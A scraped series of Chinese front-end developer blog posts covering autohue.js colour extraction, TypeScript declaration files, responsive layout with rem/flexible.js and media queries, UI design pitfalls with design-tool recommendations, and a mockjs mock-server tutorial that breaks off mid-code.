这样大致的工作就完成了,最后我们将需要的属性导出给用户,我们的主函数最终长这样:
/**
* 主函数:根据图片自动提取颜色
* @param imageSource 图片 URL 或 HTMLImageElement
* @returns 返回包含主要颜色、次要颜色和背景色对象(上、右、下、左)的结果
*/
export default async function colorPicker(imageSource: HTMLImageElement | string, options?: autoColorPickerOptions): Promise<AutoHueResult> {
const { maxSize, threshold } = __handleAutoHueOptions(options)
const img = await loadImage(imageSource)
// 降采样(最大尺寸 100px,可根据需求调整)
const imageData = getImageDataFromImage(img, maxSize)
// 对全图所有像素进行聚类
let clusters = clusterPixelsByCondition(imageData, () => true, threshold.primary)
clusters.sort((a, b) => b.count - a.count)
const primaryCluster = clusters[0]
const secondaryCluster = clusters.length > 1 ? clusters[1] : clusters[0]
const primaryColor = rgbToHex(primaryCluster.averageRgb)
const secondaryColor = rgbToHex(secondaryCluster.averageRgb)
// 定义边缘宽度(单位像素)
const margin = 10
const width = imageData.width
const height = imageData.height
// 分别对上、右、下、左边缘进行聚类
const topClusters = clusterPixelsByCondition(imageData, (_x, y) => y < margin, threshold.top)
topClusters.sort((a, b) => b.count - a.count)
const topColor = topClusters.length > 0 ? rgbToHex(topClusters[0].averageRgb) : primaryColor
const bottomClusters = clusterPixelsByCondition(imageData, (_x, y) => y >= height - margin, threshold.bottom)
bottomClusters.sort((a, b) => b.count - a.count)
const bottomColor = bottomClusters.length > 0 ? rgbToHex(bottomClusters[0].averageRgb) : primaryColor
const leftClusters = clusterPixelsByCondition(imageData, (x, _y) => x < margin, threshold.left)
leftClusters.sort((a, b) => b.count - a.count)
const leftColor = leftClusters.length > 0 ? rgbToHex(leftClusters[0].averageRgb) : primaryColor
const rightClusters = clusterPixelsByCondition(imageData, (x, _y) => x >= width - margin, threshold.right)
rightClusters.sort((a, b) => b.count - a.count)
const rightColor = rightClusters.length > 0 ? rgbToHex(rightClusters[0].averageRgb) : primaryColor
return {
primaryColor,
secondaryColor,
backgroundColor: {
top: topColor,
right: rightColor,
bottom: bottomColor,
left: leftColor
}
}
}
还记得本小节一开始提到的参数吗,你可以自定义 maxSize(压缩大小,用于降采样)、threshold(阈值,用于设置簇大小)
为了用户友好,我还编写了 threshold 参数的可选类型:number | thresholdObj
type thresholdObj = { primary?: number; left?: number; right?: number; top?: number; bottom?: number }
可以单独设置主阈值、上下左右四边阈值,以适应更个性化的情况。
autohue.js 诞生了
名字的由来:秉承一贯命名习惯,auto 家族成员又多一个,与颜色有关的单词有好多个,我取了最短最好记的一个 hue(色相),也比较契合插件用途。
此插件已在 github 开源:GitHub autohue.js
npm 主页:NPM autohue.js
在线体验:autohue.js 官方首页
安装与使用
pnpm i autohue.js
import autohue from 'autohue.js'
autohue(url, {
threshold: {
primary: 10,
left: 1,
bottom: 12
},
maxSize: 50
})
.then((result) => {
// 使用 console.log 打印出色块元素s
console.log(`%c${result.primaryColor}`, 'color: #fff; background: ' + result.primaryColor, 'main')
console.log(`%c${result.secondaryColor}`, 'color: #fff; background: ' + result.secondaryColor, 'sub')
console.log(`%c${result.backgroundColor.left}`, 'color: #fff; background: ' + result.backgroundColor.left, 'bg-left')
console.log(`%c${result.backgroundColor.right}`, 'color: #fff; background: ' + result.backgroundColor.right, 'bg-right')
console.log(`%clinear-gradient to right`, 'color: #fff; background: linear-gradient(to right, ' + result.backgroundColor.left + ', ' + result.backgroundColor.right + ')', 'bg')
bg.value = `linear-gradient(to right, ${result.backgroundColor.left}, ${result.backgroundColor.right})`
})
.catch((err) => console.error(err))
最终效果
复杂边缘效果
纵向渐变效果(这里使用的是 left 和 right 边的值,可能使用 top 和 bottom 效果更佳)
纯色效果(因为单独对边缘采样,所以无论图片内容多复杂,纯色基本看不出边界)
突变边缘效果(此时用css做渐变蒙层应该效果会更好)
横向渐变效果(使用的是 left 和 right 的色值),基本看不出边界
参考资料
- zhuanlan.zhihu.com/p/370371059
- baike.baidu.com/item/%E5%9B…
- baike.baidu.com/item/%E6%A0…
- zh.wikipedia.org/wiki/%E6%AC…
- blog.csdn.net/weixin_4256…
- zh.wikipedia.org/wiki/K-%E5%…
- blog.csdn.net/weixin_4299…
- juejin.cn/post/684490…
番外
Auto 家族的其他成员
- Auto-Plugin/autofit.js autofit.js 迄今为止最易用的自适应工具
- Auto-Plugin/autolog.js autolog.js 轻量化小弹窗
- Auto-Plugin/autouno autouno 直觉的UnoCSS预设方案
- Auto-Plugin/autohue.js 本品 一个自动提取图片主题色让图片和背景融为一体的工具
来源:juejin.cn/post/7471919714292105270
停止在TS中使用.d.ts文件
看到Matt Pocock 在 X 上的一个帖子提到不使用 .d.ts
文件的说法。
你赞同么?是否也应该把 .d.ts
文件都替换为 .ts
文件呢?
我们一起来看看~
.d.ts
文件的用途
首先,我们要澄清的是,.d.ts
文件并不是毫无用处的。
.d.ts
文件的用途主要用于为 JavaScript 代码提供类型描述。
.d.ts
文件是严格的蓝图,用于表示你的源代码可以使用的类型。最早可以追溯到2012年。其设计受到头文件、接口描述语言(IDL)、JSDoc 等实践的启发,可以被视为 TypeScript 版本的头文件。
.d.ts
文件只能包含声明,所以让我们通过一个代码示例来看看声明和实现之间的区别。假设我们有一个函数,它将两个数字相加:
// 声明 (.d.ts)
export function add(num1: number, num2: number): number;
// 实现 (.ts)
export function add(num1: number, num2: number): number {
return num1 + num2;
}
正如你所见,add
函数的实现实际上展示了加法的执行过程,并返回结果,而声明则没有。
那么 .d.ts
文件在实践中是如何使用的呢?
假设我们有一个 add
函数,分别在两个文件中存储声明和实现:add.d.ts
和 add.js
。
现在我们创建一个新文件 index.js
,它将实际使用 add
函数:
import { add } from "./x";
const result = add(1, 4);
console.log(result); // 输出:5
请注意,在这个 JS 文件中,add
函数具有类型安全性,因为函数在 add.d.ts
中被标注了类型声明。
替换方案 .ts
文件
我们已经了解了 .d.ts
文件的工作原理以及它们的用途。Matt 之所以认为不需要.d.ts
文件,是因为它也可以放在一个 .ts
文件中直接创建带有类型标注的实现。也就是说,拥有一个包含声明和实现的单个 add.ts
文件,等同于分别定义了 add.d.ts
和 add.js
文件。
这意味着你无需担心将声明文件与其对应的实现文件分开组织。
不过,针对类库,将 .d.ts
文件与编译后的 JavaScript 源代码一起使用,比存储 .ts
文件更高效,因为你真正需要的只是类型声明,以便用户在使用你的库时能够获得类型安全性。
这确实没错,需要强调的是,更推荐自动生成。通过更改 package.json
和 tsconfig.json
文件中的几个设置,从 .ts
文件自动生成 .d.ts
文件:
- tsconfig.json:确保添加
declaration: true
,以支持.d.ts
文件的生成。
{
"compilerOptions": {
"declaration": true,
"target": "ES6",
"module": "commonjs",
"outDir": "./dist",
"strict": true
},
"include": ["src/**/*"]
}
- package.json:确保将
types
属性设置为生成的.d.ts
文件,该文件位于编译后的源代码旁边。
{
"name": "stop using d.ts",
"version": "1.0.0",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"scripts": {
"build": "tsc"
}
}
结论
.d.ts
文件中可以做到的一切,都可以在 .ts
文件中完成。
在 .ts
文件中使用 declare global {}
语法时,花括号内的内容将被视为全局环境声明,这本质上就是 .d.ts
文件的工作方式。
所以即使不使用.d.ts
文件,也可以拥有全局可访问的类型。.ts
文件在功能上既可以包含代码实现,又可以包含类型声明,而且还能实现全局的类型声明,从而在开发过程中可以更加方便地管理和使用类型,避免了在.d.ts
文件和.ts
文件之间进行复杂的协调和组织,提高了开发效率和开发体验。
另外需要注意的是,在大多数项目中,开发者会在 TypeScript 的配置文件(tsconfig.json)中将 skipLibCheck 选项设置为 true。skipLibCheck 的作用是跳过对库文件(包括 .d.ts 文件)的类型检查。当设置为 true 时,TypeScript 编译器不会对这些库文件进行严格的类型检查,从而加快编译速度。但这也会影响项目中自己编写的 .d.ts 文件。这意味着,即使 .d.ts 文件中定义的类型存在错误,TypeScript 编译器也不会报错,从而失去了类型安全性的保障。
而我们直接使用 .ts
文件,就不会有这个问题了,同事手动编写 .d.ts
文件,也会更加安全和高效。
因此,.d.ts
文件确实没有必要编写。在 99% 的情况下,.ts
文件更适合使用,可以改善开发体验,并降低库代码中出现类型错误的可能性。
怎么样??你同意他的看法么?
来源:juejin.cn/post/7463817822474682418
前端适配:你一般用哪种方案?
前言
最近在公司改bug,突然发现上一个前端留下的毛病不少,页面存在各种适配问题,为此甲方爸爸时常提出宝贵意见!
你的页面是不是时常是这样:
侧边栏未收缩时:
收缩后:
这样(缩小挤成一坨):
又或是这样:
那么废话不多说,今天由我不是程序猿kk为大家讲解一些前端必备知识:适配工作。
流式布局
学会利用相对单位(例如百分比,vh或是vw),而不是只会用px一类固定单位设计布局,前言中提到的收缩后多出一大块空白,就是由于写死了宽度,例如1000px或是89vw,那么当侧边栏进行收缩,右边内容宽度还是只有89个vw,因此我们可以将其更改为100%,这样不论侧边栏是否收缩,内容都会占满屏幕的全部。
.map {
width: 100%;
height: 90vh;
position: relative;
}
rem和第三方插件
什么是rem
rem
与em不同,rem会根据html的根节点字体大小进行变换,例如1rem就是一个字体大小那么大,比如根大小font size
为12px,那么1rem即12px,大家可以在网上寻找单位换算工具进行换算(从设计稿的px到rem)或是下载相关插件例如gulp-px3rem
,这样在不同分辨率,不同缩放比的电脑下都能够轻松应对了。
使用
第三方插件,例如做移动端适配的flexible.js,lib-flexible库
,其核心原理就是rem,我们需要做的就是根据不同屏幕计算出不同的fontsize,而页面中元素都是用rem做单位,据此实现了自适应
源码:
;(function(win, lib) {
var doc = win.document;
var docEl = doc.documentElement;
var metaEl = doc.querySelector('meta[name="viewport"]');
var flexibleEl = doc.querySelector('meta[name="flexible"]');
var dpr = 0;
var scale = 0;
var tid;
var flexible = lib.flexible || (lib.flexible = {});
if (metaEl) {
console.warn('将根据已有的meta标签来设置缩放比例');
var match = metaEl.getAttribute('content').match(/initial-scale=([d.]+)/);
if (match) {
scale = parseFloat(match[1]);
dpr = parseInt(1 / scale);
}
} else if (flexibleEl) {
var content = flexibleEl.getAttribute('content');
if (content) {
var initialDpr = content.match(/initial-dpr=([d.]+)/);
var maximumDpr = content.match(/maximum-dpr=([d.]+)/);
if (initialDpr) {
dpr = parseFloat(initialDpr[1]);
scale = parseFloat((1 / dpr).toFixed(2));
}
if (maximumDpr) {
dpr = parseFloat(maximumDpr[1]);
scale = parseFloat((1 / dpr).toFixed(2));
}
}
}
if (!dpr && !scale) {
var isAndroid = win.navigator.appVersion.match(/android/gi);
var isIPhone = win.navigator.appVersion.match(/iphone/gi);
var devicePixelRatio = win.devicePixelRatio;
if (isIPhone) {
// iOS下,对于2和3的屏,用2倍的方案,其余的用1倍方案
if (devicePixelRatio >= 3 && (!dpr || dpr >= 3)) {
dpr = 3;
} else if (devicePixelRatio >= 2 && (!dpr || dpr >= 2)){
dpr = 2;
} else {
dpr = 1;
}
} else {
// 其他设备下,仍旧使用1倍的方案
dpr = 1;
}
scale = 1 / dpr;
}
docEl.setAttribute('data-dpr', dpr);
if (!metaEl) {
metaEl = doc.createElement('meta');
metaEl.setAttribute('name', 'viewport');
metaEl.setAttribute('content', 'initial-scale=' + scale + ', maximum-scale=' + scale + ', minimum-scale=' + scale + ', user-scalable=no');
if (docEl.firstElementChild) {
docEl.firstElementChild.appendChild(metaEl);
} else {
var wrap = doc.createElement('div');
wrap.appendChild(metaEl);
doc.write(wrap.innerHTML);
}
}
function refreshRem(){
var width = docEl.getBoundingClientRect().width;
if (width / dpr > 540) {
width = 540 * dpr;
}
var rem = width / 10;
docEl.style.fontSize = rem + 'px';
flexible.rem = win.rem = rem;
}
win.addEventListener('resize', function() {
clearTimeout(tid);
tid = setTimeout(refreshRem, 300);
}, false);
win.addEventListener('pageshow', function(e) {
if (e.persisted) {
clearTimeout(tid);
tid = setTimeout(refreshRem, 300);
}
}, false);
if (doc.readyState === 'complete') {
doc.body.style.fontSize = 12 * dpr + 'px';
} else {
doc.addEventListener('DOMContentLoaded', function(e) {
doc.body.style.fontSize = 12 * dpr + 'px';
}, false);
}
refreshRem();
flexible.dpr = win.dpr = dpr;
flexible.refreshRem = refreshRem;
flexible.rem2px = function(d) {
var val = parseFloat(d) * this.rem;
if (typeof d === 'string' && d.match(/rem$/)) {
val += 'px';
}
return val;
}
flexible.px2rem = function(d) {
var val = parseFloat(d) / this.rem;
if (typeof d === 'string' && d.match(/px$/)) {
val += 'rem';
}
return val;
}
})(window, window['lib'] || (window['lib'] = {}));
大家如果对相关原理感兴趣,可以阅读:flexible.js如何实现rem自适应-前端开发博客
在实际开发中应用场景不同效果不同,因此不能写死px。
在PC端适配我们可以自动转换rem适配方案(postcss-pxtorem、amfe-flexible),这里以vue3+vite为例子。事实上amfe-flexible是lib-flexible的升级版。
注意: 行内样式px不会转化为rem
npm install postcss postcss-pxtorem --save-dev // 我试过了反正我报错了,版本太高 大家可以指定5.1.1
npm install postcss-pxtorem@^5.1.1
npm i amfe-flexible --save
记得在main.js中引入amfe-flexible
import "amfe-flexible"
相关配置
媒体查询
通过查询不同的宽度来执行不同的css代码,最终以达到界面的配置。
在 CSS 中使用 @media
查询来检测屏幕宽度。当屏幕宽度小于 1024px 时,增加 margin-top
以向下移动表格。
.responsive-table {
transition: margin-top 0.3s; /* 添加过渡效果 */
}
@media (max-width: 1024px) {
.responsive-table {
margin-top: 200px; /* 向下移动的距离 */
}
}
弹性布局
创建一个响应式的卡片布局,当屏幕宽度减小时,卡片会自动换行。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flexbox Example</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
flex-wrap: wrap;
margin: 0;
height: 100vh;
background-color: #f0f0f0;
}
.card-container {
display: flex;
flex-wrap: wrap;
justify-content: center;
width: 90%;
}
.card {
background-color: white;
border: 1px solid #ccc;
border-radius: 5px;
padding: 20px;
margin: 10px;
flex: 1 1 300px; /* 基于300px,允许增长和收缩 */
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
transition: transform 0.3s;
}
.card:hover {
transform: translateY(-5px);
}
</style>
</head>
<body>
<div class="card-container">
<div class="card">Card 1</div>
<div class="card">Card 2</div>
<div class="card">Card 3</div>
<div class="card">Card 4</div>
<div class="card">Card 5</div>
</div>
</body>
</html>
小结
还是多提一嘴,应该不会有小伙伴把字体大小的单位也用rem吧?
来源:juejin.cn/post/7431999862919446539
制作一个页面时,需要兼容PC端和手机端,你是要分别做两个页面还是只做一个页面自适应?为什么?说说你的理由
在制作一个页面时,如何兼容PC端和手机端是一个重要的设计决策。这个决策通常有两个选择:分别制作两个页面,或者只制作一个自适应页面。以下是我选择后者的理由,以及如何实现自适应设计的相关内容。
选择自适应设计的理由
- 提高开发效率
制作一个自适应页面可以显著提高开发效率。开发者只需编写一次代码,就可以在不同设备上展示同样的内容,而不必为每个设备维护多个代码库。这意味着在后续的更新和维护中,相比于维护两个独立的页面,自适应页面的工作量会大幅减少。 - 一致的用户体验
用户在不同设备上访问同一网站时,能够获得一致的用户体验是极其重要的。自适应设计可以确保在不同屏幕尺寸和分辨率下,用户看到的内容和布局尽可能一致,避免用户在不同设备上获取不同信息的困惑。 - SEO优化
使用单一的自适应页面有助于SEO优化。搜索引擎更倾向于索引和排名内容一致的网站,而不是将相同内容分散在多个页面上。使用自适应设计可以集中流量,提高网站在搜索引擎中的权重。 - 成本效益
维护两个独立的页面不仅需要更多的时间和人力成本,还可能导致代码重复,增加出错的可能性。自适应设计能够通过一个代码库降低开发和维护成本。 - 响应式设计的灵活性
现代的 CSS 和 JavaScript 技术(例如 Flexbox 和 CSS Grid)使得创建自适应布局变得更加简单和灵活。媒体查询(Media Queries)可以帮助开发者根据设备的特性(如宽度、高度、分辨率)调整布局和样式,从而提供最佳的用户体验。
如何实现自适应设计
- 使用媒体查询
媒体查询是实现自适应设计的核心。它允许你根据设备的屏幕尺寸和特性应用不同的样式。例如:
/* 默认样式 */
.container {
width: 100%;
padding: 20px;
}
/* 针对手机的样式 */
@media (max-width: 600px) {
.container {
padding: 10px;
}
}
/* 针对平板的样式 */
@media (min-width: 601px) and (max-width: 900px) {
.container {
padding: 15px;
}
}
- 使用流式布局
使用流式布局可以使元素在不同的屏幕上根据可用空间自动调整大小。例如,使用百分比而不是固定像素值来设置宽度:
.box {
width: 50%; /* 宽度为父容器的一半 */
height: auto; /* 高度自动适应内容 */
}
- 灵活的图片和媒体
为了确保图片和视频在不同设备上显示良好,使用max-width: 100%
来确保媒体不会超出其容器的宽度:
img {
max-width: 100%;
height: auto; /* 保持图片的纵横比 */
}
- 测试和优化
在开发完成后,确保在不同设备和浏览器上进行测试。可以使用 Chrome 的开发者工具模拟不同的设备,以检查自适应设计的效果。同时,收集用户反馈并进行必要的优化。
总结
在制作兼容PC端和手机端的页面时,选择制作一个自适应页面是更为高效和经济的方案。它不仅能提高开发效率和维护成本,还能提供一致的用户体验,增强SEO效果。此外,现代的CSS技术使得实现自适应设计变得更加简单。因此,采用自适应设计是现代Web开发的最佳实践之一。
来源:juejin.cn/post/7476010111887949861
别让这6个UI设计雷区毁了你的APP!
一款成功的APP不仅仅取决于其功能性,更取决于用户体验,这其中,UI设计又至关重要。优秀的UI设计能够为用户带来直观、愉悦的交互体验,甚至让用户“一见钟情”,从而大大提高产品吸引力。
然而,有很多设计师在追求创新与美观的同时,往往会不经意间“踩雷”,忽略了一些普通用户更在意的问题和痛点。本文,笔者将谈谈UI设计中的常见误区,同时展示了优秀的UI设计例子,还分享一些行业内推荐的设计工具,希望能助你在设计的道路上更加得心应手~
UI设计常见误区
1、过度设计
设计大师 Dieter Rams 说过一句话:“好的设计是尽可能简单的设计。”
不过,说起来容易做起来难。产品经理和设计师总是不自觉地让产品过于复杂,今天想在产品中再添加一个功能,明天想在页面上再增加一个元素。
尤其是新手设计师,总希望通过增加视觉元素、动画效果和复杂的交互来提升用户体验。然而,这种做法往往适得其反,一个简洁、清晰且直观的界面一定比一个装饰过多、功能复杂的界面更能吸引用户。设计师应该专注于APP的核心功能,避免不必要的元素,确保设计美观又实用。
简约风接单APP界面
http://www.mockplus.cn/example/rp/…
2、忽视用户反馈
有时候,设计师可能过于相信自己的设计,忽略了用户的意见和反馈。这种情况下,即使设计再怎么创新或美观,如果不符合用户的实际需求和使用习惯,也难以获得用户的认可。
毕竟,UI设计不是艺术创作,用户反馈是设计迭代过程中的宝贵资源,它可以帮助设计师了解用户的真实体验,了解设计的不足,从而进行针对性的优化改进。
FARFETCH APP界面
http://www.mockplus.cn/example/rp/…
3、色彩搭配不合适
色彩搭配不合适是UI设计中一个常见的误区。有的设计师会自动倾向于选择那些自己喜欢的颜色,而不是基于用户的偏好和产品特征、背景等来选择颜色。有时,颜色的过度使用或不恰当的搭配会分散用户的注意力,甚至造成视觉疲劳。
另外,为了让用户能看清UI设计的各个方面,需要有足够的对比度。这就是为什么黑色文字配上白色背景效果那么好 —— 文字非常清晰,易于理解。
插画风APP界面
http://www.mockplus.cn/example/rp/…
4、忽略可访问性
对一个APP来说,所有用户,无论是有视觉障碍的人还是老年用户,都应该能够轻松地使用APP。设计如果不考虑这些用户群体的需要,会无意中排除一大部分潜在用户。
为了提高APP的可访问性,设计师应该考虑到字体大小、颜色对比度、语音读出功能等,确保所有用户都能舒适地使用。
社交类APP界面
http://www.mockplus.cn/example/rp/…
5、布局空滤不全面
有的产品界面过多,布局考虑不够全面几乎是常常发生的事。布局不合适有很多种情况,比如元素过于密集、排版杂乱、组件没有对齐、文本大小间距不合适等等。这种情况会导致信息展示不清晰或用户操作不便,非常影响用户的使用体验和效率。
一个美观舒适的布局应该合理利用空间,确保信息的层次清晰,充分考虑元素的大小和间距,让界面既清晰又易于操作,用户可以轻松地找到他们关心的内容。
想要避免这一误区的,在设计初期就需要考虑用户的需求和行为模式,不断迭代优化布局设计,找到最佳的解决方案。
加密货币钱包APP界面
http://www.mockplus.cn/example/rp/…
了解了上述UI设计的常见误区后,接下来是选择合适的设计工具来提升设计效率和质量。目前,市面上有很多优秀的UI设计工具,但以下几款因其强大的功能和良好的用户体验受到设计师的广泛推荐,一起来看看!
UI工具推荐
1、摹客 DT
摹客DT(http://www.mockplus.cn/dt)是一款国内很多UI设计师都爱用的工具,它提供了一整套完整的专业矢量编辑功能,丰富的图层样式选项,可以轻松创建高质量的App设计,并且还能在线实时协同,搞定团队资产管理难题不是问题。
主要功能点和亮点:
1)所有功能完全免费(参与它们的小活动还能永久免费使用),包含所有高级功能、导出能力等;
2)颜色、文本样式、图层样式都可以保存为资源,复用到其他设计元素;
3)支持导出SVG、JPG、PNG、webP、PDF格式文件,适配不同使用场景;
4)具有完善的团队协作和项目管理能力,改变传统设计流程,降低成本,提升效率。
**价格:**完全免费
**学习难度:**简单,新手上手无难度
**使用环境:**Web/客户端/Android/iOS
**推荐理由:**摹客DT,是一款更适合中国设计师的UI/UX设计工具。与一些老牌设计工具(Photoshop、XD等),它的学习门槛更低,上手更简单,社区和实时客户支持更迅速友好;作为Web端工具,摹客DT支持多人实时编辑,大大提高了团队设计效率。
推荐评级:⭐⭐⭐⭐⭐
2、Figma
Figma(http://www.figma.com/)是现在最流行的UI设…
主要功能点及亮点:
1)丰富的功能和工具:提供了全面的工具和功能来设计界面,包括矢量图形工具、网格和布局指导等。
2)设计组件和样式库:支持创建可复用的设计组件和样式库,节省时间和工作量。
3)插件生态系统:有丰富的插件生态系统,可以通过插件扩展功能,增加额外的设计工具和集成,以满足特定需求。
**价格:**提供免费版和付费版(12美元/月起)
**学习难度:**对新手相对友好,操作简单。
**使用环境:**Figma是基于Web的平台,通过浏览器即可使用。
推荐理由:
Figma设计功能强大,提供了丰富的插件和集成,还有有一个庞大的社区交流学习,是一款非常适合团队协作的工具。遗憾的是,Figma作为一款国外设计工具,在国内使用还是存在一定的劣势,比如网络访问限制、数据隐私和安全、本地化支持等,所以只能给到四星。
推荐评级:⭐⭐⭐⭐
3、Sketch
Sketch(http://www.sketch.com/)是一款专业的UI/U…
主要功能及亮点:
- 1)矢量编辑:直观的矢量编辑工具和可编辑的布尔运算,支持形状绘制、路径编辑、填充和描边等常见的矢量操作,使用户能够轻松创建和编辑各种设计元素。
- 2)设计规范库:设计师可以在sketch中把常用的颜色、图层样式存为规范,也可以将已经设计好的矢量图标存到规范库,在整个设计中复用它们,提高工作效率。
3)Sketch支持众多插件和第三方资源,使得其生态系统非常丰富,能够更好地满足设计师的需求。
**价格:**标准订阅 12/月/人(按月付费)
**使用环境:**macOS操作系统
推荐理由:
Sketch被广泛应用于移动应用、网页设计和用户界面设计等领域。它友好的界面、丰富的设计资源使设计师们能够快速创建出符合良好用户体验和视觉效果要求的设计。可惜的是,它只支持macOS系统,限制了部分用户使用。
**推荐评级:**⭐⭐⭐⭐
4、Adobe XD
Adobe XD(helpx.adobe.com/support/xd.…
主要功能及亮点:
1)丰富的设计和布局功能:设计师可以借助这些功能,轻松创建响应式设计,预览在不同设备上的效果,确保设计的一致性和灵活性。
2)丰富的交互动画和过渡效果:可以创建十分流畅的交互体验,用来更好地展示APP或网站的交互逻辑。
3)共享和协作:支持团队协作,用户可以轻松地共享设计文件,协同编辑,以及通过实时协作功能进行设计评审。
**价格:**提供免费试用,提供付费订阅 $9.99/月
**学习难度:**中
**使用环境:**Windows、macOS
**推荐理由:**Adobe XD与Adobe Creative Cloud紧密集成,十分方便同时使用Adobe其他软件的用户。不过有个问题是,Adobe xd已经官宣停止更新,只向老用户提供服务了,如果是之前没有使用Adobe XD的用户,最好选择其他产品。
**推荐评级:**⭐️⭐️⭐️
五、Principle
Principle是一款专门用于UI/UX设计的软件,它的设计理念是想要让设计师能够轻松创建出高质量、富有吸引力的产品界面效果。
主要功能及亮点:
1)高级动画控制:软件支持创建复杂的动画效果,包括过渡、转换和多状态动画。这对于展示复杂的交互过程和动态效果非常有用。
2)实时预览:Principle允许设计师实时预览他们的工作成果,这意味着可以即时查看和测试动画效果,确保设计的交互体验符合预期。
3)组件和重复使用:设计师可以创建可重复使用的组件,这大大提高了工作效率,特别是在处理具有相似元素或布局的多个界面时。
价格:$129
**学习难度:**中
**使用环境:**MacOS
推荐理由:
设计师通过Principle可以快速地制作出具有丰富交互的产品界面设计,并且它能和Sketch进行无缝链接,可以快速导入你在Sketch里已经做好的图,
推荐评级:⭐️⭐️⭐️⭐️
好的UI设计不仅仅是视觉上的享受,更是能让用户能够轻松、愉快地使用APP。避免上述UI设计误区,选择合适的设计工具,可以帮助我们设计出既美观又实用的产品。
希望本文章能为UI设计师/准UI设计师们有所帮助,创作出更多优秀的设计作品~
看到这里的读者朋友有福啦!本人吐血搜集整理,全网最全产品设计学习资料!
只要花1分钟填写**问卷**就能免费领取以下超值礼包:
1、产品经理必读的100本书 包含:产品思维、大厂案例、技能提升、数据分析、项目管理等各类经典书籍,从产品入门到精通一网打尽! 2、UI/UX设计师必读的115本书 包含:UI/UX设计、平面设计、版式设计、设计心理学、设计思维等各类经典书籍,看完你就是设计大神! 3、30G互联网人知识礼包 包含:
- 10GPM礼包,产品案例、大咖分享、行业报告等应有尽有
- 10GUI/UE资源,优秀设计案例、资料包、源文件免费领
- 5G运营资料包,超全产品、电商、新媒体、活动等运营技能
- 5G职场/营销资料包,包含产品设计求职面试、营销增长等
4、50G热门流行的AI学习大礼包
包含:AI绘画、AIGC精选课程、AI职场实用教程等
5、30G职场必备技能包
包含:精选PPT模板、免费可商用字体包、各岗位能力模型、Excel学习资料、求职面试、升职加薪、职场写作和沟通等实用资源。
礼包资源持续更新,互联网行业知识一网打尽!礼包领取地址:
来源:juejin.cn/post/7356535808931627046
后端:没空,先自己 mock 去
前言
后端开发忙,不给你接口?
后端抱怨你在测试过程中,频繁的给脏数据?
后端修个接口很慢没法测试?

有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!
后端开发忙,不给你接口?
后端抱怨你在测试过程中,频繁的给脏数据?
后端修个接口很慢没法测试?
有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!
真这么丝滑?
请看我的使用方式:
当后端接口无法满足要求,且不能及时更改时。例如后端返回
{
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
}
}
],
}
但我此时希望增加一个 user_type
来确定页面的展示。
那我就直接起一个文件:user.js
,把刚才的响应 copy 过来,并追加改动
myMock('/api/v1/user', 'post', () => {
return {
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
"user_type": "admin",
}
}
],
}
});
如此一来,这个请求就被无缝替换为了我们的 mock,可以随便测试了。
请看我的使用方式:
当后端接口无法满足要求,且不能及时更改时。例如后端返回
{
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
}
}
],
}
但我此时希望增加一个 user_type
来确定页面的展示。
那我就直接起一个文件:user.js
,把刚才的响应 copy 过来,并追加改动
myMock('/api/v1/user', 'post', () => {
return {
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
"user_type": "admin",
}
}
],
}
});
如此一来,这个请求就被无缝替换为了我们的 mock,可以随便测试了。
如何接入 mockjs
有的同学就要问了,主播主播,你的 mockjs 确实很方便,怎么接入比较好呀。别急,我们一步一步来
- 安装 mockjs
pnpm i mockjs
如果是使用 ts 的同学,可能需要额外安装 type 类型包:@types/mockjs
- 新建一个 mock 文件夹,在 mock/index.ts 放入基本路径
// 各种 mock 的文件,视条件而定,我这里有俩文件就引入了俩
import './login/user.js';
import './model/model.js';
有的同学就要问了,主播主播,你的 mockjs 确实很方便,怎么接入比较好呀。别急,我们一步一步来
- 安装 mockjs
pnpm i mockjs
如果是使用 ts 的同学,可能需要额外安装 type 类型包:@types/mockjs
- 新建一个 mock 文件夹,在 mock/index.ts 放入基本路径
// 各种 mock 的文件,视条件而定,我这里有俩文件就引入了俩
import './login/user.js';
import './model/model.js';
并且在你的项目入口 ts 中引入 mock/index.ts
import './mock/index'; // 引入 mock 配置
- 导出一个 myMock 方法,并追加一个 baseUrl 方便直接联动你的 axios
import { ENV_TEST } from '@/api/config/interceptor';
import Mock from 'mockjs';
export const myMock = (
path: string,
method: 'get' | 'post',
callback: (options: any) => any
) => {
Mock.mock(`${ENV_TEST}${path}`, method, callback);
};
如此一来,你就可以在 mock 文件夹下去搞了,比如:
我想新增一个服务模块的各类接口的 mock,那么我就新增一个 service 文件夹,在其下增加一个 index.ts,并对对应路径进行 mock
myMock('/api/v1/service', 'get', () => {
return {
code: 0,
msg: 'hello service',
data: null,
};
});
另外,别忘了在 mock/index.ts 引入文件
不显示在 network 中?
需要说明的是,这样走 mock 是不会触发真正的请求的,相当于 xhr 直接被 mock 拦截了下来并给了你返回值。所以你无法在 network 中看到你的请求。
这是个痛点,目前比较好的解决方案还是起一个单独的服务来 mock。但这样也就意味着,需要另起一个项目来单独做 mock,太不优雅了。
有没有什么办法,既可以走上述简单的mock,又可以在需要的时候起一个服务来查看 network,并且不需要额外维护两套配置呢?
有的兄弟,有的。
import express from 'express';
import bodyParser from 'body-parser';
import Mock from 'mockjs';
import './login/user.js';
import './model/model.js';
import { ENV_TEST } from './utils/index.js';
const app = express();
const port = 3010;
// 使用中间件处理请求体和CORS
app.use(bodyParser.json());
// 设置CORS头部
app.use(( _ , res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
});
// 设置Mock路由的函数
const setupMockRoutes = () => {
const mockApis = Mock._mocked || {};
// 遍历每个Mock API,并生成对应的路由
Object.keys(mockApis).forEach((key) => {
const { rurl, rtype, template } = mockApis[key];
